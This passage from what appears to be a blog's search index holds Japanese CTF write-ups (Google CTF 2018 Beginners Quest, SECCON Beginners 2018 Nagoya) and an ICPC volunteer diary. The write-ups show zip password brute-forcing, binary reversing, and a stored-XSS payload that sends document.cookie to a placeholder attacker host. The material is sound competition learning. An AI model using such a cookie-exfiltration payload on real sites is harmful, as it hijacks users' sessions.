class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003efiletype\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003ezipfile\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003esubprocess\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003egzip\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003efilepath\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;password.x.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"kc\"\u003eTrue\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eextension\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003efiletype\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eguess\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efilepath\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eextension\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nb\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"si\"\u003e%s\u003c/span\u003e\u003cspan class=\"s1\"\u003e: \u003c/span\u003e\u003cspan class=\"si\"\u003e%s\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eextension\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003efilepath\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"n\"\u003eextension\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;zip\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ewith\u003c/span\u003e \u003cspan class=\"n\"\u003ezipfile\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eZipFile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efilepath\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003eas\u003c/span\u003e \u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eextractall\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eelif\u003c/span\u003e \u003cspan class=\"n\"\u003eextension\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;xz\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003esubprocess\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecall\u003c/span\u003e\u003cspan class=\"p\"\u003e([\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;7z\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;e\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003efilepath\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eelif\u003c/span\u003e \u003cspan class=\"n\"\u003eextension\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;bz2\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003esubprocess\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecall\u003c/span\u003e\u003cspan class=\"p\"\u003e([\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;bzip2\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;-d\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003efilepath\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eos\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erename\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efilepath\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;.out\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;.\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ejoin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efilepath\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;.\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eelif\u003c/span\u003e \u003cspan class=\"n\"\u003eextension\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;gz\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ewith\u003c/span\u003e \u003cspan class=\"n\"\u003egzip\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efilepath\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003eas\u003c/span\u003e \u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003ewith\u003c/span\u003e \u003cspan class=\"nb\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;.\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ejoin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efilepath\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;.\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]),\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;wb\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003eas\u003c/span\u003e \u003cspan class=\"n\"\u003enf\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"n\"\u003enf\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eread\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003efilepath\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;.\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ejoin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efilepath\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;.\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003ebrute force\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ fcrackzip -l \u003cspan class=\"m\"\u003e4\u003c/span\u003e -u -b password.x\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ePASSWORD FOUND!!!!: \u003cspan class=\"nv\"\u003epw\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e asdf\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ unzip password.x\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eArchive:  password.x\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e[\u003c/span\u003epassword.x\u003cspan class=\"o\"\u003e]\u003c/span\u003e password.txt password:\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e extracting: password.txt\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ cat password.txt\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eCTF\u003cspan class=\"o\"\u003e{\u003c/span\u003eDUMMY_FLAG\u003cspan class=\"o\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"floppy\"\u003eFLOPPY\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ file foo.ico\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003efoo.ico: MS Windows icon resource - \u003cspan class=\"m\"\u003e1\u003c/span\u003e icon, 32x32, \u003cspan class=\"m\"\u003e16\u003c/span\u003e colors\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eico fileが与えられる。画像自体に気になる点は無いため、バイナリエディタで内容を確認。\u003c/p\u003e","title":"Google CTF 2018 Beginners Quest 問題解説"},{"content":"12月8~9日にスタッフとして参加。\n12月8日 9時集合。Tシャツとタグを受け取る。スタッフ内で役割を決める。\n今年は風船班でpractice用の風船を膨らませる。A~D問題すべて60個用意したが半分ほど残り悲しかった。ただし難易度が事前に予測できず簡単すぎると一瞬で全完が続出するため事前準備は必要。\npractice中は風船を運んでいたような気がする。すでにあまり記憶がない。\n選手退場後に机や床の清掃をして2日目の資料を設置。18時頃解散。\n12月9日 8時集合。1日目の役割に従い会場準備。受付設営の準備をしていた。\n選手入場時はクローク待機列の監視。DO NOT PASSの張り紙に背く人々ではなく暇だった。\n本番中は風船やコピー用紙の配布、会場見回り。特に目立ったトラブル等無し。\n選手退場後に猛スピードで会場の片付け。選手が別会場から戻る前にClosing Partyの準備を終える必要があるため急がなければならない。終わり次第別会場へ向かいYes/Noおじさんを見る。\nClosing Partyで食事を摂り19時半頃解散。\n感想 目立ったトラブルが無く良かった 会場が広すぎず行き来に便利 普段から簡潔な日本語を話せないと簡潔な英語は話せない 風船作成は重労働 2日目にTシャツとタグを持っていくのを忘れない(忘れそうになった) おそらく来年もいます。また来年。\n","permalink":"https://unigiri.gitlab.io/posts/icpc2018-asia-yokohama-regional/","summary":"\u003cp\u003e12月8~9日にスタッフとして参加。\u003c/p\u003e\n\u003ch2 id=\"12月8日\"\u003e12月8日\u003c/h2\u003e\n\u003cp\u003e9時集合。Tシャツとタグを受け取る。スタッフ内で役割を決める。\u003c/p\u003e\n\u003cp\u003e今年は風船班でpractice用の風船を膨らませる。A~D問題すべて60個用意したが半分ほど残り悲しかった。ただし難易度が事前に予測できず簡単すぎると一瞬で全完が続出するため事前準備は必要。\u003c/p\u003e\n\u003cp\u003epractice中は風船を運んでいたような気がする。すでにあまり記憶がない。\u003c/p\u003e\n\u003cp\u003e選手退場後に机や床の清掃をして2日目の資料を設置。18時頃解散。\u003c/p\u003e\n\u003ch2 id=\"12月9日\"\u003e12月9日\u003c/h2\u003e\n\u003cp\u003e8時集合。1日目の役割に従い会場準備。受付設営の準備をしていた。\u003c/p\u003e\n\u003cp\u003e選手入場時はクローク待機列の監視。\u003ccode\u003eDO NOT PASS\u003c/code\u003eの張り紙に背く人々ではなく暇だった。\u003c/p\u003e\n\u003cp\u003e本番中は風船やコピー用紙の配布、会場見回り。特に目立ったトラブル等無し。\u003c/p\u003e\n\u003cp\u003e選手退場後に猛スピードで会場の片付け。選手が別会場から戻る前にClosing Partyの準備を終える必要があるため急がなければならない。終わり次第別会場へ向かいYes/Noおじさんを見る。\u003c/p\u003e\n\u003cp\u003eClosing Partyで食事を摂り19時半頃解散。\u003c/p\u003e\n\u003ch2 id=\"感想\"\u003e感想\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e目立ったトラブルが無く良かった\u003c/li\u003e\n\u003cli\u003e会場が広すぎず行き来に便利\u003c/li\u003e\n\u003cli\u003e普段から簡潔な日本語を話せないと簡潔な英語は話せない\u003c/li\u003e\n\u003cli\u003e風船作成は重労働\u003c/li\u003e\n\u003cli\u003e2日目にTシャツとタグを持っていくのを忘れない(忘れそうになった)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eおそらく来年もいます。また来年。\u003c/p\u003e","title":"ICPC 2018 Asia Yokohama Regional 参加記"},{"content":"60+N人中7位。問題は公開されていない。\nCalc SECCON Beginners CTF 2018 てけいさんえくすとりーむずのHTML版。ただし回答の時間制限は無い。\n数式を取得し、結果をPOSTする。アクセスユーザ識別のためのCookie設定を忘れないこと。\nimport urllib.request import urllib.parse from bs4 import BeautifulSoup from http.cookiejar import CookieJar url = \u0026#34;http://10.2.6.1:8080/index.php\u0026#34; opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(CookieJar())) res = opener.open(url) html = res.read().decode(\u0026#34;utf-8\u0026#34;) soup = BeautifulSoup(html, \u0026#34;html.parser\u0026#34;) exp = soup.find(\u0026#34;div\u0026#34;).text for _ in range(100): data = urllib.parse.urlencode({\u0026#39;answer\u0026#39;:eval(exp)}).encode(\u0026#39;utf-8\u0026#39;) res = opener.open(url, data) html = res.read().decode(\u0026#34;utf-8\u0026#34;) print(html) soup = BeautifulSoup(html, \u0026#34;html.parser\u0026#34;) exp = soup.find(\u0026#34;div\u0026#34;).text do alert 用意されたformに\u0026lt;script\u0026gt;alert(0)\u0026lt;/script\u0026gt;を仕込んでリロード\nASカンパニー formから任意のtitleとtextを投稿するページがあり、投稿結果をクローラが巡回している。クローラのUAにFLAGが書かれている。\nformにはscriptを仕込むことができるため、\u0026lt;script\u0026gt;document.location=\u0026quot;http://\u0026lt;attacker\u0026gt;?\u0026quot;+encodeURIComponent(document.cookie)\u0026lt;/script\u0026gt;をtitleまたはtextに仕込んでクローラのアクセス結果を確認する。\nGo Fast 計算するだけ\nprint(2**4085 % 97) Factoring 素因数分解するだけ\n$ factor 2240118421 2240118421: 43223 51827 Find it. ELF file bin1が与えられる。xxdでフラグを得る。\nxxd bin1 | grep -A1 ctf 0001060: 6374 6634 627b 666c 3467 5f6e 3037 5f31 ctf4b{dummy____ 0001070: 6e5f 6330 6433 5f35 3367 6d33 6e37 7d00 _________flag}. Read it. genflag sectionにFLAGが直書きされている。\n00000000004005eb \u0026lt;genflag\u0026gt;: 4005eb: 55 push rbp 4005ec: 48 89 e5 mov rbp,rsp 4005ef: 48 83 ec 50 sub rsp,0x50 4005f3: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 4005fa: 00 00 4005fc: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax 400600: 31 c0 xor eax,eax 400602: c6 45 c0 63 mov BYTE PTR [rbp-0x40],0x63 400606: c6 45 c1 74 mov BYTE PTR [rbp-0x3f],0x74 40060a: c6 45 c2 66 mov BYTE PTR [rbp-0x3e],0x66 40060e: c6 45 c3 34 mov BYTE PTR [rbp-0x3d],0x34 400612: c6 45 c4 62 mov BYTE PTR [rbp-0x3c],0x62 400616: c6 45 c5 7b mov BYTE PTR [rbp-0x3b],0x7b 40061a: c6 45 c6 63 mov BYTE PTR [rbp-0x3a],0x63 40061e: c6 45 c7 34 mov BYTE PTR [rbp-0x39],0x34 ----- snip ----- Disassemble It. パスワードを要求するELF fileが与えられる。gdb-pedaで実行。\n$ ./bin3 Password : invalid password Wrong.. [----------------------------------registers-----------------------------------] RAX: 0x7fffffffe3e0 --\u0026gt; 0x64696c61766e69 (\u0026#39;invalid\u0026#39;) RBX: 0x0 RCX: 0x0 RDX: 0x1 RSI: 0x555555556016 --\u0026gt; 0x57004e4f43434553 (\u0026#39;SECCON\u0026#39;) RDI: 0x7fffffffe3e0 --\u0026gt; 0x64696c61766e69 (\u0026#39;invalid\u0026#39;) RBP: 0x7fffffffe4b0 --\u0026gt; 0x0 RSP: 0x7fffffffe3d0 --\u0026gt; 0xffffe400 RIP: 0x555555555211 (\u0026lt;main+136\u0026gt;: call 0x555555555060 \u0026lt;strcmp@plt\u0026gt;) R8 : 0x7ffff7dd5060 --\u0026gt; 0x7ffff7dd29e0 --\u0026gt; 0x7ffff7b96712 --\u0026gt; 0x2e2e00544d470043 (\u0026#39;C\u0026#39;) R9 : 0x7ffff7b81200 --\u0026gt; 0x2000200020002 R10: 0x0 R11: 0x246 R12: 0x555555555090 (\u0026lt;_start\u0026gt;: repz nop edx) R13: 0x7fffffffe590 --\u0026gt; 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x555555555200 \u0026lt;main+119\u0026gt;: lea rax,[rbp-0xd0] 0x555555555207 \u0026lt;main+126\u0026gt;: lea rsi,[rip+0xe08] # 0x555555556016 0x55555555520e \u0026lt;main+133\u0026gt;: mov rdi,rax =\u0026gt; 0x555555555211 \u0026lt;main+136\u0026gt;: call 0x555555555060 \u0026lt;strcmp@plt\u0026gt; 0x555555555216 \u0026lt;main+141\u0026gt;: test eax,eax 0x555555555218 \u0026lt;main+143\u0026gt;: je 0x555555555235 \u0026lt;main+172\u0026gt; 0x55555555521a \u0026lt;main+145\u0026gt;: lea rdi,[rip+0xdfc] # 0x55555555601d 0x555555555221 \u0026lt;main+152\u0026gt;: mov eax,0x0 Guessed arguments: arg[0]: 0x7fffffffe3e0 --\u0026gt; 0x64696c61766e69 (\u0026#39;invalid\u0026#39;) arg[1]: 0x555555556016 --\u0026gt; 0x57004e4f43434553 (\u0026#39;SECCON\u0026#39;) [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe3d0 --\u0026gt; 0xffffe400 0008| 0x7fffffffe3d8 --\u0026gt; 0x2 0016| 0x7fffffffe3e0 --\u0026gt; 0x64696c61766e69 (\u0026#39;invalid\u0026#39;) 0024| 0x7fffffffe3e8 --\u0026gt; 0x0 0032| 0x7fffffffe3f0 --\u0026gt; 0x0 0040| 0x7fffffffe3f8 --\u0026gt; 0x0 0048| 0x7fffffffe400 --\u0026gt; 0x0 0056| 0x7fffffffe408 --\u0026gt; 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x0000555555555211 in main () gdb-peda$ 入力した文字列と\u0026rsquo;SECCON\u0026rsquo;を比較しているため、これがパスワードだと推測する\n./bin3 Password : SECCON Okay, Process a one byte.. Password : SECCON Okay, Process a one byte.. Password : SECCON Okay, Process a one byte.. ----- snip ----- 何度も同じパスワードを要求するため、pipeで\u0026rsquo;SECCON\u0026rsquo;を入力。フラグを得る。\necho \u0026#39;SECCON\u0026#39; | ./bin3 Password : Okay, Process a one byte.. Password : Okay, Process a one byte.. Password : Okay, Process a one byte.. Password : Okay, Process a one byte.. ----- snip ----- Password : Okay, Process a one byte.. DONE -\u0026gt; FLAG : ctf4b{DUMMY} ","permalink":"https://unigiri.gitlab.io/posts/seccon-beginners-2018-nagoya-ctf-writeups/","summary":"\u003cp\u003e60+N人中7位。問題は公開されていない。\u003c/p\u003e\n\u003ch2 id=\"calc\"\u003eCalc\u003c/h2\u003e\n\u003cp\u003eSECCON Beginners CTF 2018 てけいさんえくすとりーむずのHTML版。ただし回答の時間制限は無い。\u003c/p\u003e\n\u003cp\u003e数式を取得し、結果をPOSTする。アクセスユーザ識別のためのCookie設定を忘れないこと。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003eurllib.request\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003eurllib.parse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003efrom\u003c/span\u003e \u003cspan class=\"nn\"\u003ebs4\u003c/span\u003e \u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"n\"\u003eBeautifulSoup\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003efrom\u003c/span\u003e \u003cspan class=\"nn\"\u003ehttp.cookiejar\u003c/span\u003e \u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"n\"\u003eCookieJar\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eurl\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;http://10.2.6.1:8080/index.php\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eopener\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eurllib\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erequest\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebuild_opener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eurllib\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erequest\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eHTTPCookieProcessor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCookieJar\u003c/span\u003e\u003cspan class=\"p\"\u003e()))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eres\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eopener\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 